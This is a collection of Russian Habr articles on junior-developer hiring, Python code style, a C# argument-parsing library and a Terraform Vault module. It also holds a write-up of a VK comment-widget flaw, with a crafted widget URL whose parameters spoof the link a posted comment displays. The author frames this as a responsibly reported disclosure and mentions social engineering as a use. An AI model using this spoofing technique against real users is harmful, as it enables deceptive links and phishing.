2. Добавление реактивности: Привязки к элементам управления INPUT, SELECT и других, для обновления обратной связи в привязанных переменных.
#### PS
*Надеюсь теперь верующие jQuery не будут принимать веру Vue, Angular, React и другие. Мир будет справедлив и многообразен и каждому будет своя сторона.* | https://habr.com/ru/post/512330/ | null | ru | null |
# Отряд самоубийц. Как мы набираем самых лютых junior-разработчиков
В предыдущей статье [про внедрение в нашем стартапе методологии Agile](https://habr.com/post/421365/) я частично затронул вопрос управления персоналом. В этой статье расскажу как мы этот персонал набираем, какую классификацию применяем, какими испытаниями и методами проверяем их профессионализм и адекватность.
Рекрутинговая модель
--------------------
Как в любой молодой компании, наша работа в области подбора персонала начиналась с выработки рекрутинговой модели. Ситуация обстояла следующим образом: у нас уже была команда “коренных” сотрудников, все они были хайскилл и работали на senior – позициях. Этих людей надо было как-то разгружать, то есть необходимости добирать компетенции рыночными специалистами не было, поэтому в период активного расширения штата, подавляющее число вакантных мест было позициями джунов. Перед тем, как разместить вакансии на рекрутинговых площадках мы, решили составить свою внутреннюю классификацию по уровню квалификации и по требованиям, предъявляемым к разным категориям разработчиков.
Была выведена следующая классификация:
**0 уровень** – fullzero-разработчик, человек прошел пару курсов, усвоил основные конструкции и семантику какого-то языка, почитал несколько статей на хабре по хайповым темам, в итоге от программиста там максимум наклейка на ноутбуке.
**1 уровень** – junior-разработчик, человек, который отлично пишет код, хорошо разбирается в стеках, находится в курсе текущих трендов, умеет самостоятельно декомпозировать задачу и решать ее.
**2 уровень** – middle-разработчик, человек обладает всеми вышеперечисленными качествами junior, а также способен выразить свое компетентное мнение по решаемой задаче на основе анализа ресурсов, и может влиять на ход ее выполнения в рамках, выбранного им тулчейна.
**3 уровень** – senior-разработчик, он же руководитель, он же отец-батюшка, человек, который трансформирует и проектирует задачи из бизнес-плоскости в плоскость разработки, распределяет эти таски по мидлам и джунам, контролирует и помогает с их выполнением.
К этой классификации добавлялись еще такие критерии как: знание нашего тулчейна, адекватность, опыт работы порядка 1-2 лет, и хотя бы один успешно реализованный проект, умение четко выражать мысли, наличие навыков коммуникации, способность признавать свои ошибки и недостатки (здоровая самокритика — это мощный инструмент). Приоритет по набору, как уже было сказано выше, ставился на junior-разработчиков, так как наш опыт общения с мидлами, показал, что, как правило, эти люди уже испорчены каким-то стеком технологий и “уникальными” подходами других компаний. Кроме этого практика показала, наличие большого количества людей на рынке, привыкших к существованию в жесткой вертикальной структуре, где к ним на стол попадает альденте материал из разжеванных задач, который остается лишь набить в виде кода, а задача сеньоров — бить палкой по голове за косяки. Только вот дело в том, что когда действие происходит в молодом стартапе, а в команде всего около тридцати человек, каждый из которых загружен под полный бак, то времени на персональную декомпозицию для каждого сотрудника нет, так как это будет равносильно выполнению этой задачи. В таких условиях, когда написание кода занимает примерно десять процентов от общего времени выполнения таска, необходимо включать не только пальцы, но и голову. Именно это и написано в “библии” всех программистов – Стивен Макконел “Идеальный код” он же Redbook (не путать с американским женским журналом).
И тут нас накрыло волной…
-------------------------
Кого только к нам не заносило, начиная от персонажей, которые считают, что они middle потому, что написали целое приложение на Android, у которого целых 37 скачиваний на Google Play, заканчивая людьми, которые считают себя супер синьорами, потому что работали ведущими разработчиками в какой-то студии, хотя их работа, по большому счету, сводилась к приемо-передаче задач от отдела проектирования в отдел разработки, то есть у них не было опыта ни в проектировании, ни в управлении разработкой, а было лишь много амбиций и куча гонора. Были и такие, кто с семимесячным опытом программирования считал себя синьорами, и требовали зарплату 240к, при этом не решая даже элементарных задач для джуниоров. С нашей точки зрения эти люди не были даже джунами. Подход простой, если человек программирует прям от души, он просто программист, если же человек плохо программирует или вообще не тянет, он не джуниор, он просто не программист. Здесь нам помог замечательный лайвхак по отсеву таких кандидатов, называется он “Закон Сантехника”, который гласит: “Каждый новый сантехник приходя на новое место работы поливает грязью другого сантехника, говоря, что у того руки-вантузы, и что теперь придется все делать с нуля”. На практике это работает примерно так: приходит соискатель на должность джуниора, ему дают какой-нибудь готовый кусок кода, например, фрагмент ядра Linux, и спрашивают, что он думает по данному решению? Если он начинает плеваться и говорить что-то вроде: “Что за рукожоп это писал? Здесь надо все переделывать! Дайте мне время, и я напишу все заново”, значит перед вами сантехник, и его первоочередная задача – это ругать предыдущего сантехника.
Микеланджело по этому поводу говорил так: “Я беру камень, отсекаю все лишнее.” Великий мастер не писал скрипты, зато хорошо понимал, что грамотный человек подходит к объекту работы с желанием его понять и при необходимости преобразить, но никак не разрушить и превратить в пыль. То есть если человек на такие вопросы отвечает: “Если код работает в продакшене и выполняет свои функции — это уже хорошо, в отдельных местах я считаю можно улучшить этот код, при необходимости могу показать.”, то с таким человеком можно и нужно продолжать диалог.
Еще одним приемом по определению low-skill джунов это фокус на хайп и хайповые стеки. Если человек приходит на интервью и начинает сыпать трендовые подходы, а на законный вопрос: “С чего ты сделал такой вывод, и проводил ли ты анализ этих инструментов?” — скорчив гримасу, достигшего просветления сеньора, отвечает: “На Этом можно написать все что угодно, за Этим будущее!”, то перед вами в лучшем случае слабенький джуниор, у которого нет никакого анализа ресурсов, стеков и прочего тулчейна, лишь поверхностная информация по хайповым инструментам и подходам.
Еще немного про интервью
------------------------
Помимо вышеперечисленного при найме программиста очень важно получить от него открытую позицию по его знаниям в том или ином стеке. Вы определяетесь со стеком, и он выбирает язык, в котором он “вай вай вай как силен”, допустим он горец JavaScript. Есть готовый набор задачек, например, такая:
```
setTimeout(()=>{console.log('Hello World!')}, 1000);
while (true) { let a = false; };
```
Если на вопрос по этой задаче: “Когда будет выведен «Hello World!» ?”, он начинает запинаясь отвечать в стиле: “ Ну…эээ…воот…после выполнения цикла while true или через одну секунду” — это значит, что он абсолютно не знает стек, врет о своих скилах, которые, скорее всего, близки к нулю. Дело в том, что конструкция while загрузит препроцессор, а так как JS однопоточный, то основной цикл никогда не заэмитит событие от таймера. Т.е. правильный ответ — никогда.
Если человек не готов адекватно и честно оценивать свои знания, не способен читать чужой код, то о какой работе в команде может идти речь. Если же человек не проявил себя в качестве “сантехника” и справился с задачками, подтвердив свои знания стека, либо конструктивно отнесся к задаче, своим ошибкам и частичной некомпетентности, то есть шанс, что он станет вашим новым сотрудником, и в перспективе сможет расти в сторону более высоких уровней классификации.
Бывают случаи, когда человек не согласен с внутренней классификацией фирмы, и негативно реагирует, на заявление, что он не тянет на мидла или даже на джуна, и что его решение не будет работать. В таком случае, если он продолжает настаивать, можно пойти на принцип, и запустить его решение в среде, естественно эта конструкция оказывается нерабочей, то есть человек зафакапился. Тогда он может начать давить авторитетом своей предыдущей работы. Например, были случаи, когда человек после такого провала заявлял, что он был очень ценным сотрудником какого-нибудь крупного банка и его там очень ценили. А на деле оказывается, что в этом банке работало еще двенадцать тысяч таких как он, и HR отдел просто проглядел его некомпетентность, и проторчав там около годика, теперь он заявляет о своем статусе специалиста. А здесь, где работает команда порядка двадцати программистов, каждый из которых отлично владеет своим делом, он просто потеряется не в силах работать по прежней клерковой схеме. Наш CEO Илья Быконя по этому поводу говорит так: “ Для меня, как для действующего разработчика и учредителя фирмы, авторитет один — это скилл человека, а где он работал, и какая должность у него была, имеет второстепенное значение.”
Подытожим
---------
Возможно в нашем подходе по оцениванию соискателей есть изъян. И то, что мы “понижаем его в звании”, говоря, что он не мидл, а джун или еще хуже, играет с нами злую шутку. Быть может мы теряем будущих Наполеонов, как в свое время Российская Империя? Кто знает… Но с нашей точки зрения, такая стратегия вполне оправдана своей эффективностью, ну и в конце концов, Наполеон все равно проиграл войну Российской Империи. | https://habr.com/ru/post/421949/ | null | ru | null |
# Пишем на Питоне сразу хорошо
Привет Хабр!
Сегодня я сниму [костюм аниматора](https://habr.com/ru/post/550088/) и вместо развлечений расскажу вам немного за питон.
Я довольно посредственный программист, но иногда мне удаётся усыпить чью-нибудь бдительность, и меня считают сеньором. И вот как-то так получилось, что я стал делать много код ревью. Просматривая файл за файлом, я вдруг увидел, что люди и проекты меняются, а вот моменты, к которым я, зануда такая, придираюсь, остаются теми же. Поэтому я решил собрать самые частые паттерны в эту сумбурную статью и надеюсь, что они помогут вам писать более чистый и эффективный питон-код.
---
### Early quit
Это точно на первом месте, потому что везде, у всех я это вижу:
```
def foo(a: bool):
if a:
#
# ... 50 LOCs
#
return True
else: # if not a
return False
```
Когда мы только пишем/читаем код `if a:`, мы запоминаем, что где-то там, в конце, нам нужно рассмотреть `else` случай. Если код внутри `if a` большой, то `else` вообще будет "оторван" от контекста.
Мы могли бы поменять условия местами:
```
def foo(a: bool):
if not a:
return False
else:
#
# ... 50 LOCs
#
return True
```
Это легче читается, так как случай `not a` мы уже рассмотрели и выкинули из головы в самом начале. Но если присмотреться, то `else` вообще не нужен:
```
def foo(a: bool):
if not a:
return False
# в этом месте мы уже отбросили случай "not a" и забыли про него
#
# ... 50 LOCs
#
return True
```
В этом и вся фишка - когда пишем функцию, то стараемся как можно скорее из неё выйти при помощи отсечения каких-то плохих случаев. Эта методика прекрасна тем, что позволяет избавиться от уровней вложенности (то есть теперь никакого `else`), да ещё и память программиста разгружается, потому что нет ветвления логики.
Вот синтетический пример для какого-то парсинга:
```
import requests
def scrape(url: str) -> dict:
response = requests.get(url)
if not response.ok: # отсекаем плохие статус-коды
return {}
# начиная с этой строчки я уверен, что у ответа хороший статус код
data = response.json()
if 'error' in data: # отсекаем случаи, когда в ответе есть ошибка
raise ValueError(f'Bad response: {data["error"]}')
# начиная с этой строчки я уверен, что нет ошибки
if 'result' not in data: # отсекаем случаи, когда ответ пуст
return {}
# начиная с этой строчки я уверен, что есть ответ
# ... parse data['result'] ...
```
Функция полностью "линейна", и в момент собственно парсинга данных я ничего не должен держать в голове и знаю наверняка, что *всё хорошо*, данные есть, ошибок нет.
Работает так же для циклов, только вместо `return` будет `break` или `continue`.
### One-line assignment
Поговорим о присваивании переменных. Часто я вижу такое:
```
if a:
v = 1
else:
v = 2
```
Тут всё довольно очевидно - зачем лишние `if-else`, если можно сделать в одну строчку:
```
v = 1 if a else 2
```
А что если так
```
if a == 1:
v = 10
elif a == 0:
v = 0
elif a == -1:
v = -10
elif a == -2:
v = - 20
```
Тут вы спросите, а что будет если `a not in {0, 1, -1, -2}`, и будете правы - `v` будет вообще не определена. Кроме того, если я захочу позже понять, откуда появилась `v` и что в ней записано, мне нужно будет посмотреть 4 случая, потому что `v` определена 4 раза. И это ужасно, потому что когда переменная определена много раз, то
1. не факт, что вы не забыли рассмотреть ещё какой-то случай
2. можно опечататься и вместо `v` написать `b`, и питон это радостно съест,
3. можно банально опечататься при копи-пасте (если вы копируете случаи и заменяете значения), и в разных случаях присвоить одно и то же значение
Какой же выход? Старайтесь определять переменные *один* раз. В идеале любое объявление переменной должно выглядеть так:
```
var =
```
И не более того. Я намеренно пишу "в идеале", потому что не всегда это возможно сделать, а где-то от этого страдает читаемость кода, так что нужно делать с умом.
В случае выше я бы заменил код на
```
v = {
1: 10,
0: 0,
-1: -10,
-2: -20,
}[a]
```
Тут `v` определена один раз, я чётко вижу какое `a` к какому `v` приводит, и если `a` не из допустимых значений, то всё упадёт, чему я и рад. Если вам нужно еще значения по умолчанию, то вместо `[a]` используйте `.get(a, default_value)`.
### Definition close to usage
Ещё один способ разгрузить память программиста. Часто вижу такое:
```
def foo(url: str):
fields = ['a', 'b', 'c']
response = requests.get(url)
response.raise_for_status()
data = response.json()
if 'result' not in data:
raise ValueError()
for field in fields:
print(data[field])
```
Вообще нет ошибки, всё нормально - вот только когда я смотрю строчку `for field in fields`, я *уже* забыл, что там в `fields`, и меня ждёт увлекательное приключение в начало функции, чтобы найти там определение этой переменной. Да, в PyCharm это 2 шортката - один "jump to definition", другой "jump где я там был до этого", но было бы неплохо, чтобы вообще никуда прыгать не пришлось.
С этой проблемой и борется этот паттерн: мы определяем переменные наиболее близко к тому месту, где мы их будем использовать. Как только вы хотите создать переменную, спросите себя: "нужна ли эта переменная в следующем сниппете кода"? Если нет, то, возможно, её следует определить позднее. Таким образом при анализе кода вы сможете бросить взгляд на *соседние* строчки кода и понять, откуда взялись эти переменные и что в них.
В примере выше мы просто двигаем `fields` именно туда, где они используются, и даже можем заинлайнить их прям в `for`:
```
for field in ['a', 'b', 'c']:
print(data[field])
```
### Too many indents
Питон хорош тем, что в нём есть отступы. Отступы хороши тем, что они показывают вам уровень вложенности вашей логики. Чем больше отступов, тем сложнее логика, и, соответственно, голове сложнее парсить код и держать текущий стек условий.
```
for x in range(10):
result = foo(x)
if result:
second = bar(result)
if second:
print(second)
else:
# <<< HERE
print('not second')
else:
print('not good')
```
В данном примере в строчке `<<< HERE` нужно помнить, что у вас есть какой-то `x` от 0 до 9, `result` превращается в `True`, а `second` не превращается.
Нет какой-то чёткой границы, типа если у вас `N` отступов, то всё плохо, а если меньше, то хорошо. Тем не менее, чем их меньше - тем лучше. Убирать отступы можно при помощи уже упомянутого "Early Quit", а также при помощи вынесения части кода в отдельную функцию.
```
for x in range(10):
result = foo(x)
if not result:
print('not good')
continue
second = bar(result)
print_second(second)
```
Частным случаем этого являются двойные, тройные и т.д. циклы, вроде
```
for x in range(100):
for y in range(100):
for z in range(100):
if x % 10 == 0:
if y % 10 == 0:
print('haha')
```
Такие штуки часто можно упростить при помощи `itertools` и функций, например
```
from itertools import product
def print_(x: int, y: int, z: int):
if x % 10 == 0 and y % 10 == 0:
print('haha')
for x, y, z in product(range(100), range(100), range(100)):
print_(x, y, z)
```
### Dangerous loops
Кстати о циклах! Идеальный вариант - это цикл с одним уровнем вложенности по какому-нибудь генератору:
```
for i in range(100):
print(i)
```
В реальной жизни всё несколько сложнее, но есть два простых правила, которые помогают не стрелять себе в ноги. Первое - это цикл `while True`:
```
a = 0
while True:
a += 1
if a == 100:
break
```
Когда-нибудь вы поменяете `a = 0` на `a = 100`, и оно будет работать бесконечно. Когда-нибудь вы просто забудете написать условие выхода, или напишете такое, что не будет выполняться, или будет выполняться, но *не всегда*. Поверьте, бесконечное выполнение программы - это последнее, что вам хочется, а `while True` - прямая дорожка к этому.
Поэтому просто что-нибудь, что *кончается*:
```
max_iterations = 100
a = 0
for i in range(max_iterations):
a += 1
if a == 100:
break
else:
raise ValueError('max_iterations reached')
```
Вторая категория опасных циклов - это вложенные циклы. Написать такие - раз плюнуть, но каждый вложенный цикл даёт вам ужасный прирост сложности. Цикл на 20 элементов, вложенный в цикл на 20 элементов, даёт вам 400 комбинаций - это число уже может стать боттлнеком вашей программы.
```
for x in range(20):
for y in range(20):
fn(x, y) # called 400 times
```
Решается в каждом случае индивидуально, но можно, например, исключить какие-то случаи из обработки, где это применимо:
```
for x, y in product(range(20), range(20)):
if 10 < x < 20 and 10 < y < 20:
fn(x, y)
```
### Copy-paste more than twice
Копи-паста - зло. Во-первых, тяжело читать - куча одинакового кода, занимает много места. Во-вторых, слишком просто ошибиться - [ребята из PVS Studio уже писали об этом](https://pvs-studio.com/ru/blog/terms/0068/)
```
if v == 'a':
self.value_a = 1
elif v == 'b':
self.value_b = 1
elif v == 'c':
self.value_c = 1
```
Обычно копи-паста легко схлопывается в один сниппет кода, либо при помощи каких-то маппингов через словари, либо при помощи `getattr / setattr`, либо выделением копи-пастного кода в отдельную функцию и вызова её с параметрами. Иными словами, весь копи-пастный код проводится к общему виду и потом параметризуется.
```
setattr(self, f'value_{v}', 1)
```
### Interconnected lines of code
Тут всё просто - бывают строчки кода, которые связаны, то есть когда вы меняете одну из них, должна поменяться и другая. Понятно, что однажды вы поменяете одну и забудете поменять другую. Именно поэтому от них нужно избавляться, как правило ссылаясь из одной строчки кода на другую:
```
rows = [
{'col 1': 'value 1', 'col 2': 'value 2'},
{'col 1': 'value 3', 'col 2': 'value 4'},
]
writer = csv.DictWriter(..., fieldnames=['col 1', 'col 2'])
```
Теперь если вы решите добавить ещё одну колонку в `rows`, или переименовать существующую, то вам также нужно будет изменить `fieldnames`. Вместо этого мы заставим `fieldnames` "ссылаться" на нужные значения:
```
rows = [
{'col 1': 'value 1', 'col 2': 'value 2'},
{'col 1': 'value 3', 'col 2': 'value 4'},
]
writer = csv.DictWriter(..., fieldnames=rows[0].keys())
```
### Type hints
Тут всё просто: всегда используйте type hints. Когда вы пишете код, вам весело и приятно, но когда ваш код читают (а может это будете и вы сами через год), очень тяжело понять, что это за аргументы у функции и какого они типа. В этом плане type hints хотя бы немного помогут.
```
def foo(processor):
# wtf is processor? what is returned?
...
```
```
def foo(processor: Processor) -> str:
# okay, now I can jump to definition of Processor and see what it is
...
```
Я пишу "хотя бы", потому что type hint типа `Tuple[int, str, datetime]` никак не говорит вам, что это на самом деле возвращается `(object_id, name, creation_datetime)`. Тут помогли бы `namedtuple`, но использовать их для возвращаемых значений кажется оверинжинирингом.
### Quick "in" check
Тут всё просто до безобразия: хотите проверить вхождение чего-то во что-то? Юзайте `set` (множество), ведь `element in set` выполняется за константное время. Как только вы делаете `element in list`, вы вызываете демона поэлементного сравнения, который рано или поздно укусит вас за зад при большом количестве элементов в списке.
Не бро:
```
items = [instance1, instance2, instance3]
if instance4 in items:
print('yes')
```
Бро:
```
items = {instance1.id, instance2.id, instance3.id}
if instance4.id in items:
print('yes')
```
### Bulk
Вот это прям всем, всегда. Итак: всегда пишите код сразу для миллиона объектов, даже если у вас их сейчас два.
Загружаете файлы в облачное хранилище? Делайте в несколько потоков, как будто вам надо загрузить миллион файлов.
Пишете SQL запрос? Делайте джойны, как будто у вас миллион записей в каждой таблице.
Пишете view для Джанго? Пишите его так, как будто его будут вызывать миллионы пользователей.
Пишете код для загрузки данных? Пишите так, как будто будете загружать миллионы строк.
На самом деле это просто, стоит только привыкнуть. Для SQL это какие-нибудь `JOIN` и `INDEX`, для Django это `select_related`, `only`, `values_list`, `update` и `bulk_create`, где-то ещё это `ThreadPoolExecutor`. Это сложнее, чем работать *по-объектово*, где-то придётся дробить входне данные на чанки, где-то отправлять параллельно, но зато ваш код будет работать и для одного объекта, и для миллиона. Может их и не станет миллион, но однажды их станет не два, а тысяча, а ваш код будет работать всё так же быстро.
### Concurrency safety
Однажды ваш код запустят не в вашем любимом терминале, а в потоках. Или в процессах. На разных машинах. Что случится, когда вы будете обрабатывать одновременно одни и те же данные? Делать одни и те же запросы к внешним API? Обращаться к одним и тем же файлам на диске?
Возможно, ничего. Возможно, ничего хорошего.
Представьте, что после каждой строчки кода выполнение вашей программы может быть прервано, и управление перейдёт другой программе - или точно такой же. Теперь пишите код с учётом этого.
Подобные мысли приводят к появлению таких вещей, как, например, `threading.Lock`, `@transaction.atomic`, `SELECT FOR UPDATE` и иже с ними.
### Asserts everywhere
И последнее - немного про `assert`. Я считаю, что это замечательная вещь, потому что лучше "либо хорошо, либо никак", а `assert` как раз про это - у вас либо всё хорошо, либо всё падает, а третьего не дано.
Ожидаете определённые данные с внешнего сервиса? Ставьте ассерт:
```
result = get(service_url).json()
assert result in {'ok', 'fine', 'good'}
```
Ожидаете, что есть хотя бы один `Item`? Ставьте ассерт:
```
items = Item.objects.all()
assert len(items)
print(items[0])
```
Написали код, который сами не понимаете? Ставьте ассерт:
```
result = foo(bar(baz(x)))
assert result is not None
```
Общее правило: если вы что-то *ожидаете* или в чём-то *не уверены*, то ставьте `assert`.
Стоит, однако, помнить, что `assert` могут быть отключены при помощи заклинания `-O`, но если вы встретите тех, кто так делает, то передайте им от меня пламенный привет и немного новичка.
К чему всё это
--------------
Как видите, цель этих правил - улучшить читаемость кода, разгрузить память программиста и уменьшить число ошибок. Тут нет какой-то рокет саенс, все пункты достаточно простые, но если вы будете их придеживаться, то мне будет проще в случае, если ваш код когда-нибудь попадёт мне на ревью >:)
 | https://habr.com/ru/post/564598/ | null | ru | null |
# История одного виджета
Этот скромный топик повествует о том, как важно уделять достаточно внимания и человеко-часов на побочные проекты сервиса.
#### Интро
Вконтакте — отличный пример сервиса, для людей, в котором: и качественный код, и отличный саппорт. Однако, его минусом являются побочные проекты.
Так был закрыт xmpp протокол, выпилены: виджеты групп, площадка объявлений, апи магазинов и многое другое. Эта история об одной интересной уязвимости виджета Вконтакте, который смог.
Как-то вечером, когда я добавлял социальную составляющую своему новому сайту (лайк, репост, подписка), во мне проснулся дух пентестера и я решил проверить, наиболее интересный мне, виджет комментариев.
#### Основная часть
Так как меня интересовала логика запроса и возможность изменить его под свои нужды, вооружившись tamper data, схукал передаваемый на сервер запрос:
Виджет = фрейм, дабы не создавать себе лишних преград, было решено действовать без посредника, благо ВК это позволяет. Для этого берем строку реферера, в чистом виде, без лишних параметров (высота, ширина и т.д.), она представляет собой:
```
http://vk.com/widget_comments.php?app=APPID&_ver=1&page=0&status_publish=1&attach=*&url=http%3A%2F%2Fsite.ru%2F&title=&description=ℑ=
```
При работе напрямую сохраняется функционал отправки комментариев, но, к сожалению, прикрепления загружаться отказываются.
Опытным путем устанавливаем, что в таком виде виджет более не привязан к сайту, на котором был размещен (любой тип виджета требует «подключить» сайт к системе, если appid не соответствует домену, то виджет не будет отображен), и самое интересное заключается в том, что за ссылку отвечает параметр url в аттаче. Нет, это логично, но только относительно прикрепленной ссылки.
Напомню, что комментарий, который добавится на стену пользователя, имеет две ссылки
В подвале — наш аттач, а верхняя должна отображать домен, к которому прикреплен этот виджет и кастомное название ссылки, если используется параметр title, однако это не так и мы можем модифицировать эти данные как хотим.
Добавляем текстовое описание к ссылке и заголовок всплывающего блока:
```
vk.com/widget_comments.php?app=APPID&_ver=1&page=0&status_publish=1&attach=*&url=http%3A%2F%2Fm.habrahabr.ru%2F&title=habrahabr.ru&description=Привет, Хабрахабр!ℑ=XXXX_XXXX
```
Где image = XXXXX\_XXXXX из photoXXXXX\_XXXXX, который находится в url любой фотки ВК.
Пишем произвольный комментарий (с флагом «отобразить на вашей странице) и публикуем. Получаем на стену
Я уже упомянул, что любой виджет прикручивается к сайту и если открыть его, минуя фрейм, это условие обходится, но так же обходится невозможность воткнуть вместо своего домена, домен vk.com. Проведя манипуляции над исходной ссылкой, мы можем очень просто сослаться на страницу любого пользователя и оставить комментарий, якобы, на его стене. Практической пользы, естественно, никакой, но как один из вариантов использования — СИ.
#### Заключение
После нахождения данной недоработки я, конечно же, сообщил в их техподдержку, агент которой счел сей факт интересным и отправил баг на доработку.
Спасибо разработчикам за то, что у них получается столь замечательный продукт и желаю им разобраться со всеми недостатками побочных сервисов. | https://habr.com/ru/post/193944/ | null | ru | null |
# NConsoler — парсинг аргументов консольного приложения
Обычно приходится тратить много времени на парсинг консольных аргументов в консольных приложениях. В интернете я нашел несколько систем, которые упрощают эту задачу, но они мне показались громоздкими, поэтому было решено создать новую систему на основе метаинформации — NConsoler.
Стояла задача превратить некий набор аргументов на входе в вызов определенного метода. Если с аргументами что-то не так, то следует вывести ошибку. Также по метаинформации можно составить простые сообщения помощи.
Итак, чтобы система знала какой метод ей использовать, надо его пометить каким-либо образом. С этим хорошо справляются атрибуты. Я сделал атрибут `Action`:
`> [Action]
>
> public static void Method(...)...`
Естественно некоторые аргументы могут быть обязательными, а некоторые — нет. Это также надо указать в качестве метаинформации.
`> [Action]
>
> public static void Method(
>
> [Required] string name,
>
> [Optional(true)] bool flag)...`
так как в метод обязательно следует передать все параметры, то для необязательных надо указать значение по умолчанию
Для начала хватит. Теперь надо запустить метод на выполнение. Сделаем это в методе `Main`:
`> public static void Main(params string[] args) {
>
> Consolery.Run(typeof(Program), args);
>
> }`
в метод `Run` надо передать тип, который содержит наш метод помеченный атрибутом `Action`, а также аргументы.
Вот полный листинг приложения:
`> using System;
>
> using NConsoler;
>
>
>
> public class Program {
>
> public static void Main(params string[] args) {
>
> Consolery.Run(typeof(Program), args);
>
> }
>
>
>
> [Action]
>
> public static void Method(
>
> [Required] string name,
>
> [Optional(true)] bool flag) {
>
> Console.WriteLine("name: {0}, flag: {1}", name, flag);
>
> }
>
> }`
осталось запустить приложение:
> > program.exe «Max»
>
> name: Max, flag: true
>
>
или с инверсией флага:
> > program.exe «Max» /-flag
>
> name: Max, flag: false
>
>
Естественно, в описание Action-методов может закрасться ошибка. Во многих библиотеках источник ошибки часто не так очевиден, поэтому очень важно вывести адекватное сообщение об ошибке. NConsoler перед запуском Action-метода проверяет мета информацию, а также параметры коммандной строки и выводит подробное сообщение об обшибке с возможной причиной возникновения. Можно сказать это развитие идеи “Design by contract” что позволяет работать с библиотекой не прибегая к справке.
Найти больше информации, скачать библиотеку и её исходный код можно на сайте NConsoler: [nconsoler.csharpus.com](http://nconsoler.csharpus.com) | https://habr.com/ru/post/38896/ | null | ru | null |
# Terraform-модуль для инициализации Vault
При настройке CI/CD для приложений мы в компании, как правило, используем [Vault](https://www.vaultproject.io) от HashiCorp. К тому же сами приложения зачастую используют Vault для хранения секретных данных. Но для того, чтобы начать использовать Vault, сначала необходимо произвести его настройку. Раньше нам приходилось вручную производить подобные манипуляции для каждого проекта, что отнимало немало времени. Найти готовый модуль, который подошел бы нам, не удалось. Поэтому мы написали свой terraform-модуль, который позволяет автоматизировать данный процесс.
На текущий момент созданный нами terraform-модуль покрывает все наши требования, но в дальнейшем он будет дорабатываться. Модуль позволяет создавать политики доступа и хранилища секретов, включать необходимые способы авторизации (certs, jwt, oidc, kubernetes и т.д.), создавать токены, jwt/oidc/token-роли и идентификационные группы. Также при помощи него можно генерировать TLS-сертификаты и jwt ключи в определенной директории.
Модуль можно найти в нашем GitHub-[репозитории](https://github.com/nixys/vault-app-init). Чтобы использовать его, потребуется terraform >= 1.0.0 и Vault свежей версии, так как в старых версиях не поддерживаются некоторые функции.
#### Описание переменных
Кому интересно описание переменных, можно посмотреть в спойлере ниже. Полное описание переменных доступно в [README](https://github.com/nixys/vault-app-init).
переменные* **output\_files\_path**: путь до директории, в которой сохраняются сгенерированные TLS-сертификаты и jwt ключи. По умолчанию: "./files".
* **vault\_addr**: адрес Vault сервера.
* **vault\_admin\_token**: токен с административными правами.
* **vault\_skip\_tls\_verify**(опционально): установите для этого параметра значение true, чтобы отключить проверку TLS-сертификата для сервера Vault. По умолчанию: "false".
* **policies**: список политик доступа, которые будут созданы.
+ **name**: имя политики.
+ **paths**: список путей до хранилищ секретов.
+ **capabilities**: список разрешений для политики.
* **secrets\_engines**: список хранилищ секретов, которые необходимо создать.
+ **path**: путь для хранилища.
+ **type**: тип хранилища.
+ **options**(опционально): опции для хранилища.
* **auth\_backends**: список способов для авторизации, которые необходимо включить.
+ **type**: тип бэкенда авторизации.
+ **path**(опционально): путь до бэкенда. Значение по умолчанию равно полю **type**.
+ **tune**(опционально): настройки для бэкенда.
> Значение переменной **type** не должно равняться "kubernetes", "jwt", "oidc". Данные способы авторизации описаны ниже.
>
>
* **jwt\_oidc\_auth\_backend**: список jwt/oidc бэкендов авторизации.
+ **path**: путь для бэкенда.
+ **type**(опционально): тип авторизации. По умолчанию: "jwt".
+ Остальные переменные можно посмотреть в README. Описание переменных соответствует описанию в [документации](https://registry.terraform.io/providers/hashicorp/vault/3.2.1/docs/resources/jwt_auth_backend).
> Для одного бэкэнда должна быть установлена только одна из переменных (**jwks\_url**, **oidc\_discovery\_url**, **jwt\_validation\_pubkeys**).
>
>
* **certs\_auth\_backend**: список бэкендов авторизации через сертификаты.
+ **name**: имя сертификата.
+ **policies**: список политик, применяемых для сертификата.
+ **path**(опционально): путь до бэкенда авторизации. По умолчанию: "cert".
+ **tls\_self\_signed\_cert**: информация о сертификате.
- **common\_name**(опционально): общее имя сертификата.
- **organization**(опционально): организация.
- **allowed\_uses**: список разрешений для выданного сертификата.
- **convert\_to\_pkcs12**: необходимо ли сгенерировать сертификат в формате PKCS12. По умолчанию: "false".
> Авторизация через сертификаты должна быть включена в **auth\_backends** с соответствующим путем **path**.
>
> Чтобы использовать этот метод авторизации, параметр "tls\_disable" должен иметь значение false в конфигурации Vault. Это связано с тем, что сертификаты передаются через TLS-соединение.
>
>
* **kubernetes\_auth\_backends**: список бэкендов авторизации для kubernetes.
+ **path**(опционально): путь до бэкенда авторизации. По умолчанию: "kubernetes".
+ **kubernetes\_host**: переменная должна быть строкой хоста, парой host:port или URL адресом Kubernetes API.
+ **kubernetes\_ca\_cert**(опционально): CA сертификат в кодировке PEM для использования клиентом TLS-соединения с Kubernetes API.
+ **token\_reviewer\_jwt**(опционально): JWT сервисного аккаунта, используемый для доступа к TokenReview API для проверки других JWT во время входа в систему. Если не установлено, то для доступа к API будет использоваться JWT, используемый для входа.
+ **issuer**(опционально): издатель токена.
+ **roles**(опционально): список ролей, привязываемых к бэкенду.
- **role\_name**: название роли.
- **bound\_service\_account\_names**: список сервисных аккаунтов, которые могут получить доступ к этой роли. Если установлено значение ["\*"],разрешенывсе аккаунты*.* Данный параметр и **bound\_service\_account\_namespaces** не могут быть равны "\*" одновременно.
- **bound\_service\_account\_namespaces**: список пространств имен, которым разрешен доступ к этой роли. Если установлено значение ["\*"], все пространства имен разрешены. Для данного параметра и для **bound\_service\_account\_names** нельзя установить значение "\*" одновременно.
- **token\_policies**(опционально): список политик, которые привязываются к сгенерированным токенам.
+ **tune**(опционально): [настройки](https://registry.terraform.io/providers/hashicorp/vault/3.2.1/docs/resources/auth_backend#tune) для бэкенда авторизации.
* **vault\_tokens**: список токенов.
+ **display\_name**: отображаемое имя токена.
+ **policies**: политики, привязываемые к токену.
+ Остальные переменные можно посмотреть в README. Описание переменных соответствует описанию в [документации](https://registry.terraform.io/providers/hashicorp/vault/3.2.1/docs/resources/token).
* **vault\_token\_roles**: список ролей для токенов.
+ **role\_name**: имя роли.
+ Остальные переменные можно посмотреть в README. Описание переменных соответствует описанию в [документации](https://registry.terraform.io/providers/hashicorp/vault/3.2.1/docs/resources/token_auth_backend_role).
* **jwt\_oidc\_roles**: список jwt/oidc ролей.
+ **name**: имя роли.
+ **path**: путь до бэкенда авторизации.
+ **type**(опционально): тип роли.
